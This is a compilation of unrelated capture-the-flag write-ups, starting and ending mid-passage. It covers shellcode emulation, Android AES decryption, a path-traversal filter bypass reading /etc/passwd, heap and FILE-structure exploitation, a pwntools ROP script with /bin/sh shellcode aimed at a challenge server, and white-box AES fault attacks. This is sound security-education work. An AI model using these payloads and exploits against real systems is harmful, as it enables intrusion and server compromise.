0x3f ; '?' 0x0000011a c645b300 mov byte [rbp - 0x4d], 0 0x0000011e c645b400 mov byte [rbp - 0x4c], 0 0x00000122 c645b500 mov byte [rbp - 0x4b], 0 0x00000126 c645b600 mov byte [rbp - 0x4a], 0 0x0000012a c645b703 mov byte [rbp - 0x49], 3 0x0000012e c645b800 mov byte [rbp - 0x48], 0 0x00000132 c645b913 mov byte [rbp - 0x47], 0x13 0x00000136 c645ba00 mov byte [rbp - 0x46], 0 0x0000013a c645bb05 mov byte [rbp - 0x45], 5 0x0000013e c745fc160000. mov dword [rbp - 4], 0x16 0x00000145 c745f4000000. mov dword [rbp - 0xc], 0 0x0000014c c745f0000000. mov dword [rbp - 0x10], 0 .-> 0x00000153 8b45f0 mov eax, dword [rbp - 0x10] | 0x00000156 83f816 cmp eax, 0x16 ,==< 0x00000159 7370 jae 0x1cb || 0x0000015b 8d55da lea edx, [rbp - 0x26] || 0x0000015e 8b45f0 mov eax, dword [rbp - 0x10] || 0x00000161 01d0 add eax, edx || 0x00000163 0fb600 movzx eax, byte [rax] || 0x00000166 0fb6c0 movzx eax, al || 0x00000169 8945f8 mov dword [rbp - 8], eax || 0x0000016c 8d55a6 lea edx, [rbp - 0x5a] || 0x0000016f 8b45f0 mov eax, dword [rbp - 0x10] || 0x00000172 01d0 add eax, edx || 0x00000174 0fb600 movzx eax, byte [rax] || 0x00000177 0fb6c0 movzx eax, al || 0x0000017a 8945f4 mov dword [rbp - 0xc], eax .---> 0x0000017d 837df400 cmp dword [rbp - 0xc], 0 ,====< 0x00000181 7e0a jle 0x18d |||| 0x00000183 8345f801 add dword [rbp - 8], 1 |||| 0x00000187 836df401 sub dword [rbp - 0xc], 1 |`===< 0x0000018b ebf0 jmp 0x17d `----> 0x0000018d 8b45fc mov eax, dword [rbp - 4] || 0x00000190 83e801 sub eax, 1 || 0x00000193 0fb64405bc movzx eax, byte [rbp + rax - 0x44] || 0x00000198 0fb6c0 movzx eax, al || 0x0000019b 2945f8 sub dword [rbp - 8], eax || 0x0000019e 8b45fc mov eax, dword [rbp - 4] || 0x000001a1 83e801 sub eax, 1 || 0x000001a4 0fb64405bc movzx eax, byte [rbp + rax - 0x44] || 0x000001a9 0fb6c0 movzx eax, al || 0x000001ac 3145f8 xor dword [rbp - 8], eax || 0x000001af d17df8 sar dword [rbp - 8], 1 || 0x000001b2 8b45f8 mov eax, dword [rbp - 8] || 0x000001b5 89c1 mov ecx, eax || 0x000001b7 8d55da lea edx, [rbp - 0x26] || 0x000001ba 8b45f0 mov eax, dword [rbp - 0x10] || 0x000001bd 01d0 add eax, edx || 0x000001bf 8808 mov byte [rax], cl || 0x000001c1 836dfc01 sub dword [rbp - 4], 1 || 0x000001c5 8345f001 add dword [rbp - 0x10], 1 |`=< 0x000001c9 eb88 jmp 0x153 `--> 0x000001cb 90 nop 0x000001cc c9 leave 0x000001cd c3 ret```
Looks like executable code alright. Since this code is simply executing CPU instructions without any library calls or anything (just a small stack to keep state), we can easily emulate this with [Unicorn](https://github.com/unicorn-engine/unicorn). So after compiling and installing (with Python bindings) Unicorn, I wrote this small script which is entirely based upon the `shellcode.py` example script. I just did some small modifications to print the stack at the end since it contains (hopefully) the juicy bits.
```python#!/usr/bin/env python# Sample code for X86 of Unicorn. Nguyen Anh Quynh <[email protected]>
from __future__ import print_functionfrom unicorn import *from unicorn.x86_const import *
from binascii import *
SIKRIT_CODE = unhexlify("909090909090909090909090909090905589e583ec60c645daa8c645dbffc645dc88c645ddd0c645deb2c645dff6c645e0f8c645e1eac645e2ffc645e3ffc645e4d2c645e5ffc645e6ffc645e7c2c645e8dcc645e9c2c645ead8c645ebffc645ecf6c645edffc645eefac645efffc645bc55c645bd8bc645beecc645bf51c645c0e8c645c100c645c200c645c300c645c400c645c558c645c62dc645c752c645c81fc645c934c645ca01c645cb2dc645cc52c645cd1fc645ce34c645cf01c645d0e8c645d100c645d200c645d300c645d400c645d590c645d690c645d7c9c645d8c3c645d9ccc645a600c645a75bc645a800c645a900c645aa00c645ab00c645ac00c645ad00c645ae2bc645af17c645b000c645b119c645b23fc645b300c645b400c645b500c645b600c645b703c645b800c645b913c645ba00c645bb05c745fc16000000c745f400000000c745f0000000008b45f083f81673708d55da8b45f001d00fb6000fb6c08945f88d55a68b45f001d00fb6000fb6c08945f4837df4007e0a8345f801836df401ebf08b45fc83e8010fb64405bc0fb6c02945f88b45fc83e8010fb64405bc0fb6c03145f8d17df88b45f889c18d55da8b45f001d08808836dfc018345f001eb8890") # removed c9 (leave) and c3 (ret) at the end
# memory address where emulation startsADDRESS = 0x1000000
# Test X86 32 bitdef test_i386(mode, code): print("Emulate x86 code") try: # Initialize emulator mu = Uc(UC_ARCH_X86, mode)
# map 2MB memory for this emulation mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory mu.mem_write(ADDRESS, code)
# initialize stack mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
# emulate machine code in infinite time mu.emu_start(ADDRESS, ADDRESS + len(code))
# now print out some registers esp = mu.reg_read(UC_X86_REG_ESP) rbp = mu.reg_read(UC_X86_REG_RBP) print("ESP: 0x%x, RBP: 0x%x" % (esp, rbp)) bytes_to_read = 0x60 # The size of our stack... try: buf = mu.mem_read(esp, bytes_to_read) print(">>> buffer = 0x%x, size = %u, content = " \ %(esp, bytes_to_read), end="") for i in buf: print("%c" %i, end="") print("") except UcError as e: print(">>> buffer = 0x%x, size = %u, content = <unknown>\n" \ %(esp, bytes_to_read)) print(">>> Emulation done")
except UcError as e: print("ERROR: %s" % e)
if __name__ == '__main__': test_i386(UC_MODE_64, SIKRIT_CODE)```
We thus just emulate all instructions and then print the memory area that contains the stack. This gives us...
```bash[koffiedrinker@ctf for200]$ python2 unicorn_emulation_small.py Emulate x86 codeESP: 0x11fff98, RBP: 0x11ffff8>>> buffer = 0x11fff98, size = 96, content = [+?U??Q?X-R4-R4??????TMCTF{static_analyzer}}>>> Emulation done```
... the flag.
Flag: TMCTF{static_analyzer} |
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## Level 2
>Maybe something a little more difficult?>>(Note: Levels 1-4 use the same application)>[ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk](./../challanges/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk)
After installing and starting the application and clicking the GETTHEHASED button we get this
Lets load it in a decompiler, i used [jadx](https://github.com/skylot/jadx).
Navigating to TabFragment2 in package com.h1702ctf.ctfone we see```java((Button) v.findViewById(R.id.hashmebutton)).setOnClickListener(new OnClickListener() { public void onClick(View v) { try { TabFragment2.this.mHashView.setText(InCryption.hashOfPlainText()); TabFragment2.this.mHashView.setBackgroundColor(-1); } catch (Exception e) { e.printStackTrace(); } } });```So main logic is in InCryption.hashOfPlainText()
```javapublic static String hashOfPlainText() throws Exception{ return getHash(new String(hex2bytes(new String(decrypt(hex2bytes("0123456789ABCDEF0123456789ABCDEF"), hex2bytes(encryptedHex))).trim())));}
private static byte[] decrypt(byte[] raw, byte[] encrypted) throws Exception{ SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(2, skeySpec); return cipher.doFinal(encrypted);}```
So it decrypts the encrypted flag with AES and return the hash of the flag, lets remove the getHash function to get the flag.
We can do it in two ways:
* Remove call to 'getHash' and return the plain text by editing the smali, recompiling it, installing it and then manually typing the decrypted flag.* Copy the code to a java file, fix error, compile and get the flag.
I use first method when the class is big and there are lots of dependencies or there is lots of error in java file which prevents me from compiling.
But in this case its easy so lets use the second method, see the [Java Soln](l2_soln.java) for solution.
Running we get:DASH DOT DASH DOT SPACE DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DASH DASH SPACE DASH DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH SPACE DASH DOT DASH DOT SPACE DOT DASH DOT SPACE DASH DOT DASH DASH SPACE DOT DASH DASH DOT SPACE DASH DASH DOT DOT DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DOT DOT DOT SPACE DASH DOT DASH DASH SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DASH DASH DASH DASH SPACE DOT DOT DOT DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DOT DOT DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DOT SPACE DASH DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH
This is morse code but in different form, replacing those with their appropriate symbols we get
-.-. .- .--. .-- -. -... .-. .- -.-. -.- . - -.-. .-. -.-- .--. --... ----- -.... .-. ....- .--. .... -.-- ..- -. -.. . .-. ... -.-. --- .-. . .---- ..... ..- -. -.. . .-. ... -.-. --- .-. . .... ....- .-. -.. ..- -. -.. . .-. ... -.-. --- .-. . -... .-. ----- -... .-. .- -.-. -.- . -
Using [Online Morse Code Converter](http://www.onlineconversion.com/morse_code.htm) we get
CAPWNBRACKETCRYP706R4PHYUNDERSCORE15UNDERSCOREH4RDUNDERSCOREBR0BRACKET
Replacing 'BRACKET' with '{' and 'UNDERSCORE' with '_' we get the flag.
Flag - CAPWN{CRYP706R4PHY_15_H4RD_BR0}
Author====Arun Kumar Shreevastava |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>simple.py</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>simple_crypto_bfcfcfc1b8bde0a684dddea42864839c3f7b0080_original</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>simple_crypto_e5189fe3d3d64de3d612de266315a9e96dc43787</span> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>asis2017finals</span></span><span>/</span>ppc-chaoyang_district<span>/</span> </div> </div>
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# Mathilda - Web - 57 points - 96 solvers
> Mathilda learned many skills from Leon, now she want to use [them](http://178.62.48.181/)!
Visiting the page in the description gives us a simple static page. Hidden in the source is the comment ``. So we go to `http://178.62.48.181/~rooney/`. The tilde syntax enables Apache's [UserDir](https://httpd.apache.org/docs/2.4/howto/public_html.html) module, allowing each user on a system to have their own public directory without any user specific configuration. In this case the files are actually located in `/home/rooney/public_html/`
On the new page, there's a link to `http://178.62.48.181/~rooney/?path=rooney`, and this looks suspiciously like a directory traversal challenge. But simply going to `http://178.62.48.181/~rooney/?path=../../../../../../../../../etc/passwd` doesn't work. After a bit experimentation, we find that `../` is replaced before the path is accessed. But the replacement is only done once, so if we use something like `..././` it will be transformed to `../`. So we can visit `http://178.62.48.181/~rooney/?path=..././..././..././..././etc/passwd` and it works:
'rooney:x:1000:1000:,,,:/home/rooney:/bin/false' 'th1sizveryl0ngus3rn4me:x:1001:1001:,,,:/home/th1sizveryl0ngus3rn4me:/bin/bash' That is a very suspicious username. Since UserDir is enabled, we try to visit `http://178.62.48.181/~th1sizveryl0ngus3rn4me/` and we get a mysterious "Invalid Device" message. We try to look at the source instead by visiting `http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/index.php` but this gives a `Security failed!` message? Seems like it filters out `php` from the path parameter, but we can bypass this by visiting `http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/index.p../hp` instead. `index.php` requires `flag.php` so we do the same and visit `http://178.62.48.181/~rooney/?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/flag.p../hp` and get the flag `ASIS{I_l0V3_Us3rD1r_Mpdul3!!}` |
# **▼Dig Dug(Web Warmup) (29point：243/590 team=41.2%)**
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
GET /
↓
<h1>Can you dig it?!</h1>
If you want to know what is dig, you should consider that dig stands for domain information groper.
If you want to know what is dig, you should consider that dig stands for domain information groper.
<em>Thank you for seeing our digs.</em>
<em>Thank you for seeing our digs.</em>
↓
**$ nslookup digx.asisctf.com**
--------------------------------
Server: 192.168.10.1
Address: 192.168.10.1#53
Non-authoritative answer:
Name: digx.asisctf.com
Address: **192.81.223.250**
--------------------------------
↓
**$ nslookup 192.81.223.250**
--------------------------------------------------------------------
Server: 192.168.10.1
Address: 192.168.10.1#53
Non-authoritative answer:
251.250.223.81.192.in-addr.arpa name = **airplane.asisctf.com.**
Authoritative answers can be found from:
224.223.81.192.in-addr.arpa nameserver = ns3.digitalocean.com.
224.223.81.192.in-addr.arpa nameserver = ns1.digitalocean.com.
224.223.81.192.in-addr.arpa nameserver = ns2.digitalocean.com.
ns1.digitalocean.com internet address = 173.245.58.51
ns1.digitalocean.com has AAAA address 2400:cb00:2049:1::adf5:3a33
ns2.digitalocean.com internet address = 173.245.59.41
ns2.digitalocean.com has AAAA address 2400:cb00:2049:1::adf5:3b29
--------------------------------------------------------------------
↓
URLにアクセスした。
**access to 'https://airplane.asisctf.com'**
↓
hi all, you should **go offline to get the flag**...
<title>Offline Only</title>
<body><noscript>You need to enable JavaScript to run this app.</noscript>
↓
回線を外したら下記メッセージが表示された。
(When I **disconnected the line**, the following message was displayed.)
------------------------------------------------------------------------------------------------------------------------
Offline Only
2017. ~ One minute read.
Do you want to be productive? Just go offline, because to maintain a constant connection to the internet is to maintain a constant connection to interruptions, both external and internal.
The external interruptions are legion and well-documented: you have a new message on Gmail, Slack, Twitter, Facebook, Instagram, Snapchat, LinkedIn. Friends, family, coworkers, and spammers: each have direct access to your precious attention.
Offline-only content would also force creators to think differently. Look at this page: there is not a single link, no footnote offering to distract readers. How many good articles have you left half-read because you chased a shiny underlined link? When you are offline, right here is the only place you can be.
I can already hear the groans: “But I have to be online for my job.” I don’t care. Make time. I bet the thing that makes you valuable is not your ability to Google something, but your ability to synthesize information. Do your research online, but create offline.
Now back to your regularly scheduled internet. Just remember to give yourself an occasional gift of disconnection. **ASIS{_just_Go_Offline_When_you_want_to_be_creative_!}**
?? thanks to Chris
------------------------------------------------------------------------------------------------------------------------
↓
**ASIS{just_Go_Offline_When_you_want_to_be_creative!}** |
# Jim Moriarty
## Vulnerability + A NULL byte overwrite
If you input an invalid size while allocating the `g_buf`,it would be record. But when you allocate successfully,the program will still append a NULL byte with the invalid size. So you can write a NULL byte on heap or libc. ## Exploit+ Allocate a large buffer so that it can be in front of libc. + You need to calculate the size and the offset of stdin first. + Overwrite the last byte of `_IO_buf_base` with null byte in the stdin structure + It's very similar to [parrot](https://github.com/scwuaptx/CTF/blob/master/2017-writeup/twctf/Parrot.md)+ Forge the FILE structure in `g_buf` + We want to trigger virtual function call in `_IO_flush_lockp` like [house of orange](http://4ngelboy.blogspot.tw/2016/10/hitcon-ctf-qual-2016-house-of-orange.html). + So we need to let + `_IO_write_ptr` > `_IO_write_base` + `mode` <= 0 + `vtable` point to the function that we want to call. (We want to call `scanf`)
+ Overwrite the element in the `stdin` structure + Use the last `getchar()` to read data + Overwrite the `_chain` let point to `g_buf_ptr` + But we don't know address of `g_buf_ptr` so that we can't directly control it. + So we need to let `g_buf_ptr` be `_chain` pointer. + It is very close to `.got.plt`
+ Trigger `_IO_flush_all_lockp` + It would be called in `exit`. + Because it just want to flush all stream :) + Now, the linked list of FILE structure is + `_IO_list_all` -> `stderr` -> `stdout` -> `stdin` -> `fake_fp` -> `g_buf_ptr` + Finally, it would call `scanf(g_buf_ptr)`+ Use scanf to do format string attack + We can use `scanf("%13$s%9$s")` + `%13$s`: Just read until stdin buffer is empty + `%9$s` : Read data to stack + It would trigger stack overflow and you can do ROP.+ [exploit](jim_moriarty.py) |
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|
```from pwn import *#import hexdump context(arch='amd64',os='linux')#local=Truelocal=False if local: p = process("./mrs._hudson")else: p = remote("178.62.249.106", 8642) binary = ELF("./mrs._hudson") raw_input() shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"bss = 0x601040 pop_rdi = 0x4006f3pop_rsi_r15 = 0x4006f1scanf_plt_6 = 0x400526 aS = 0x40072b if __name__ == '__main__': payload = "A"*0x70 + "ebppebpp" payload += p64(pop_rdi) + p64(aS) payload += p64(pop_rsi_r15) + p64(bss) + p64(bss) payload += p64(scanf_plt_6) payload += p64(bss) p.send(payload + '\n') p.send(shellcode + '\n') p.interactive()
``` |
## Exploitation (Pwnable, 1 point)
This binary is running on pwn.rhme.riscure.com. Analyze it and find a way to compromise the server. You’ll find the flag in the filesystem.
We are provided the challenge [main.elf](main.elf) along with a copy of the version of [libc](libc.so.6) they are using on the server. Let's open up the challenge in IDA and take a look.
Inside of main the first thing we see are calls setting up the daemonization of the binary. If we execute the binary it closes before spawning due to the environment not being setup. Instead of reversing out the expected environment we can simply NOP it all out (_0x35 NOPs @ 0x000021ac_).
After the modifications are done we can run the executable and are presented with the menu.
```$ ./main.elfWelcome to your TeamManager (TM)!0.- Exit1.- Add player2.- Remove player3.- Select player4.- Edit player5.- Show player6.- Show teamYour choice:```
Diving into the binary the initial impression is a Use-After-Free vulnerability. We are provided the ability to create players, delete players, assign a player as the currently selected, and print out information of players.
Inside of _select_player_ a global pointer _selected_ is set to our choosen player.
Looking at the code for _delete_player_ it does not check if we are deleting the _selected_ player.
Using this vulnerability we can overwrite arbitrary data on the heap.
---
_Initially I attempted this as a generic heap exploitation problem. I quickly ran up against a wall with not having the primitives necessary to write the data I needed. Leaking heap addresses was easy from the DWORD fields. Though we could only write at max 999 via the integer fields of player and the name field cannot contain null chars due to the use of strlen and strcpy. This makes purely heap exploitation extremely difficult._
Stepping back for a minute let's look at the primitives we have available. Two objects are allocated onto the heap, first the player of size 0x18, and the name of size n+1. The struct of player is as follows:```struct Player{ _DWORD atk; _DWORD def; _DWORD spd; _DWORD prc; char *name;};```Creating and editing a player are the same. We can set the _DWORD_ fields to a number between 0 and 999. The _char*_ is _realloc_'d if _strlen(name)_ is less than the new name length. The name field has a max length of 0x100 and a bad char set of [0x00, 0x0A]. It's at this point I realized my mistake and ran checksec.
```RELRO STACK CANARY NX PIE [...] FILEPartial RELRO Canary found NX enabled No PIE [...] main.elf```
With no ASLR we do not need any information leak of the process and can simply hardcode the address. With Partial RELRO we can overwrite the address of any imported function to another.
With this new found information let's craft our exploit. When deleting a player _free_ is called first on our name and secondly on the player. This makes for a good target to replace with a call to _system_ in classic return-to-libc fashion. If we can modify the player->name pointer we can overwrite data inside the GOT. Easy way to accomplish this is to allocate a string large enough and overwrite our dangling player pointer at the correct address with a new address.
```python# Quick and dirty heap misalignement, worked first tryfor x in range(11): create_player("A"*0x78)select_player(0)for x in range(11): delete_player(x)
# Next created player will have the name overwrite our selected player# Allowing us to both read and write via the name attributecreate_player("A"*0x10 + pack(" |
Voici un write up en français pour le challenge Compromised en forensic 100
Descritption : We think our system got compromised, our hosting company uses some strange logtool. Are you able to dig into the logfile and find out if we are compromised?
[Write-up](https://p-te.fr/2017/08/06/sha2017-ctf-compromised/) |
> Found this weird code can you make something out of it? q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr
As the name suggests, this is a shift cipher with shift_key = 13. `Flag: d4rk{wh0_give$_ca3sar_in_ctf???}c0de` |
Please, do not write just a link to original writeup here.
[Link to original write-up.](https://github.com/Keramas/CTF-Writeups/blob/master/SECT-SprinklerSystem.md) |
## White Box Unboxing (Crypto, 1 point)
Here is a binary implementing a cryptographic algorithm. You provide an input and it produces the corresponding output. Can you extract the key?
This challenge gave me the most trouble of them all and then magically worked when I switched environments... Whitebox cryptography is the idea of precomputing and otherwise obfuscating encryption so it can be done safely and securely (heh) on otherwise unsafe machines without revealing the cipher key. The binary is simply [whitebox](whitebox).
As with all analysis challenges such as this the first step is doing our research and reading up on past writeups. In doing so we find the [SideChannelMarvels](https://github.com/SideChannelMarvels) github repository providing plenty of tools for analysis based attacks such as this. [Deadpool](https://github.com/SideChannelMarvels/Deadpool) can be used to extract keys in whitebox challenges via Differential Computational Analysis (DCA) or Differential Fault Analysis (DFA) and even includes writeups for just that. _I attempted DCA and did not make quantifiable progress, other writeups for challenges mention the inability of DCA so I focused purely on DFA._ We will be using DFA found and explained [here](https://github.com/SideChannelMarvels/Deadpool/blob/master/README_dfa.md).
---
In order to use deadpool and perform DFA we need our whitebox tables as a file for corruption. First we need to dump that area of memory with gdb via `dump memory mem.dump 0x6650C0 0x68A1C0`. Secondly we must modify our executable to now load the corrupted data. We can write some code to do just that and compile it using `scc`(shellcode compiler) that comes with the great [binary ninja](https://binary.ninja/). A quick patch later with the addresses from IDA we are in business.
```cvoid main() { int fd = open("wb_data", O_RDONLY, 0); read(fd, (void*)0x6650C0, 0x25100);}```
```$ cp whitebox wb_patched$ scc --arch x64 read.c -o read.outOutput is 51 bytes$ dd if=read.out of=wb_patched obs=1 seek=406434 conv=notrunc0+1 records in51+0 records out51 bytes copied, 0.000102629 s, 497 kB/s```
With the executable prerequisites setup let's run create our python script to perform the attack. We can copy an existing script from another challenge [here](https://github.com/SideChannelMarvels/Deadpool/blob/master/wbs_aes_ches2016/DFA/attack_ches2016.py) and make some small modifications. Let's first change our arguments for targetbin, targetdata, and goldendata to match our filenames. We will also be using phoenixAES for our DFA analysis so that can be left as it. The functions processinput and processoutput must be changed to match the format our binary expects. Those are the bare minimum arguments we need so we'll toss out anything else for now. Once we have these steps done we can run the script and fix any issues that pop up.
```pythonimport sys, osimport deadpool_dfaimport phoenixAES
def processinput(iblock, blocksize): return (bytes.fromhex('%0*x' % (2*blocksize, iblock)), ["--stdin"])
def processoutput(output, blocksize): return int(b''.join([x for x in output.split()]), 16)
engine=deadpool_dfa.Acquisition(targetbin='./wb_patched', targetdata='./wb_data', goldendata='./mem.dump', dfa=phoenixAES, processinput=processinput, processoutput=processoutput)tracefiles_sets=engine.run()for tracefile in tracefiles_sets[0]: if phoenixAES.crack(tracefile, verbose=1): break```
```$ ./attack_dfa.pyPress Ctrl+C to interruptSend SIGUSR1 to dump intermediate results file: $ kill -SIGUSR1 42435Lvl 011 [0x00024198-0x000241A0[ xor 0x3D 74657374746573747465737474657374 -> 896D9871EDC6375E0F3FBB189B4AF219 GoodEncFault Column:3 LoggedLvl 011 [0x00024198-0x000241A0[ xor 0xC2 74657374746573747465737474657374 -> 896D9879EDC65E5E0F34BB18164AF219 GoodEncFault Column:3 LoggedLvl 011 [0x00024198-0x000241A0[ xor 0xD4 74657374746573747465737474657374 -> 896D98A4EDC68A5E0FDFBB185C4AF219 GoodEncFault Column:3 LoggedLvl 011 [0x00024198-0x000241A0[ xor 0x1E 74657374746573747465737474657374 -> 896D985AEDC6C45E0FC4BB18574AF219 GoodEncFault Column:3 LoggedLvl 012 [0x00022348-0x00022350[ xor 0xB7 74657374746573747465737474657374 -> 89CB983B15C6275E0F7BBBA8DF4A7619 GoodEncFault Column:1 LoggedLvl 012 [0x00022348-0x00022350[ xor 0x5E 74657374746573747465737474657374 -> 891A983BC5C6275E0F7BBB66DF4A4519 GoodEncFault Column:1 LoggedLvl 012 [0x00022348-0x00022350[ xor 0x20 74657374746573747465737474657374 -> 896C983B8FC6275E0F7BBB5BDF4A5319 GoodEncFault Column:1 LoggedLvl 012 [0x00022348-0x00022350[ xor 0x79 74657374746573747465737474657374 -> 894C983B7CC6275E0F7BBBF4DF4A9619 GoodEncFault Column:1 LoggedLvl 012 [0x000236A8-0x000236B0[ xor 0x42 74657374746573747465737474657374 -> 896DB83BED92275EBA7BBB18DF4AF238 GoodEncFault Column:2 LoggedLvl 012 [0x000236A8-0x000236B0[ xor 0x31 74657374746573747465737474657374 -> 896DEE3BED67275E617BBB18DF4AF2FB GoodEncFault Column:2 LoggedLvl 012 [0x000236A8-0x000236B0[ xor 0x3F 74657374746573747465737474657374 -> 896DEE3BEDDF275E6F7BBB18DF4AF279 GoodEncFault Column:2 LoggedLvl 012 [0x000236A8-0x000236B0[ xor 0xC7 74657374746573747465737474657374 -> 896D903BED83275E7D7BBB18DF4AF2AB GoodEncFault Column:2 LoggedLvl 012 [0x00021C58-0x00021C60[ xor 0xE3 74657374746573747465737474657374 -> 776D983BEDC627B80F7BF418DF1FF219 GoodEncFault Column:0 LoggedLvl 012 [0x00021C58-0x00021C60[ xor 0x6B 74657374746573747465737474657374 -> 6D6D983BEDC6273D0F7BA118DF5BF219 GoodEncFault Column:0 LoggedLvl 012 [0x00021C58-0x00021C60[ xor 0xDB 74657374746573747465737474657374 -> AF6D983BEDC627820F7B9718DF2DF219 GoodEncFault Column:0 LoggedLvl 012 [0x00021C58-0x00021C60[ xor 0x46 74657374746573747465737474657374 -> 156D983BEDC6277E0F7BCA18DF3EF219 GoodEncFault Column:0 Logged$```
Hmm, we get some GoodEncFault's but no key.
---
Let's continue reading some other writeups and looking at the other arguments. The writeup for [kryptologik](https://github.com/SideChannelMarvels/Deadpool/blob/fa6475fd953a7654447315ec27a15731d4ddf5d6/wbs_aes_kryptologik/DFA/attack_kryptologik_last_round.py) gives us some information on the arguments we need. Let's add the maxleaf arguments and minleaf.
```pythonengine=deadpool_dfa.Acquisition(targetbin='./wb_patched', targetdata='./wb_data', goldendata='./mem.dump', dfa=phoenixAES, processinput=processinput, processoutput=processoutput, maxleaf=0x100, minleaf=0x1,)```
That doesn't work either. Reading more we see there is an additional argument _minleafnail_, let's toss that in so _minleaf_ can actually go as low as 1.
```pythonengine=deadpool_dfa.Acquisition(targetbin='./wb_patched', targetdata='./wb_data', goldendata='./mem.dump', dfa=phoenixAES, processinput=processinput, processoutput=processoutput, maxleaf=0x100, minleaf=0x1, minleafnail=0x1)```
```$ ./attack_dfa.pyPress Ctrl+C to interruptSend SIGUSR1 to dump intermediate results file: $ kill -SIGUSR1 34361Lvl 008 [0x00000067-0x00000068[ xor 0x2A 74657374746573747465737474657374 -> 896D9803EDC69B5E0F05BB18FC4AF219 GoodEncFault Column:3 LoggedLvl 008 [0x00000067-0x00000068[ xor 0xBD 74657374746573747465737474657374 -> 896D9850EDC6735E0FD2BB18614AF219 GoodEncFault Column:3 LoggedLvl 008 [0x00000067-0x00000068[ xor 0x71 74657374746573747465737474657374 -> 896D982DEDC6F45E0F53BB18AE4AF219 GoodEncFault Column:3 LoggedLvl 008 [0x00000067-0x00000068[ xor 0x51 74657374746573747465737474657374 -> 896D98A0EDC6575E0FD7BB18144AF219 GoodEncFault Column:3 LoggedLvl 008 [0x00000074-0x00000075[ xor 0x91 74657374746573747465737474657374 -> D66D983BEDC6276A0F7BC318DF24F219 GoodEncFault Column:0 LoggedLvl 008 [0x00000074-0x00000075[ xor 0x48 74657374746573747465737474657374 -> 866D983BEDC627D00F7BDD18DFD1F219 GoodEncFault Column:0 LoggedLvl 008 [0x00000074-0x00000075[ xor 0x9E 74657374746573747465737474657374 -> A46D983BEDC627FB0F7B2018DF3EF219 GoodEncFault Column:0 LoggedLvl 008 [0x00000074-0x00000075[ xor 0xF6 74657374746573747465737474657374 -> D26D983BEDC627370F7B2818DFD7F219 GoodEncFault Column:0 LoggedLvl 008 [0x0001D1DE-0x0001D1DF[ xor 0xDA 74657374746573747465737474657374 -> 896DA53BEDFA275E7B7BBB18DF4AF292 GoodEncFault Column:2 LoggedLvl 008 [0x0001D1DE-0x0001D1DF[ xor 0xC4 74657374746573747465737474657374 -> 896D173BED61275E677BBB18DF4AF289 GoodEncFault Column:2 LoggedLvl 008 [0x0001D1DE-0x0001D1DF[ xor 0x53 74657374746573747465737474657374 -> 896D653BED6E275E2C7BBB18DF4AF244 GoodEncFault Column:2 LoggedLvl 008 [0x0001D1DE-0x0001D1DF[ xor 0x5B 74657374746573747465737474657374 -> 896D7F3BED29275E2F7BBB18DF4AF2F1 GoodEncFault Column:2 LoggedLvl 008 [0x0001D1DF-0x0001D1E0[ xor 0xD5 74657374746573747465737474657374 -> 8906983B99C6275E0F7BBB36DF4A6D19 GoodEncFault Column:1 LoggedLvl 008 [0x0001D1DF-0x0001D1E0[ xor 0x9F 74657374746573747465737474657374 -> 8966983B63C6275E0F7BBB9DDF4AB119 GoodEncFault Column:1 LoggedLvl 008 [0x0001D1DF-0x0001D1E0[ xor 0x12 74657374746573747465737474657374 -> 892F983B3AC6275E0F7BBB39DF4A4919 GoodEncFault Column:1 LoggedLvl 008 [0x0001D1DF-0x0001D1E0[ xor 0x01 74657374746573747465737474657374 -> 895B983B7EC6275E0F7BBB03DF4AE119 GoodEncFault Column:1 LoggedLast round key #N found:4E44EACD3F54F5B54A4FB15E0710B974```
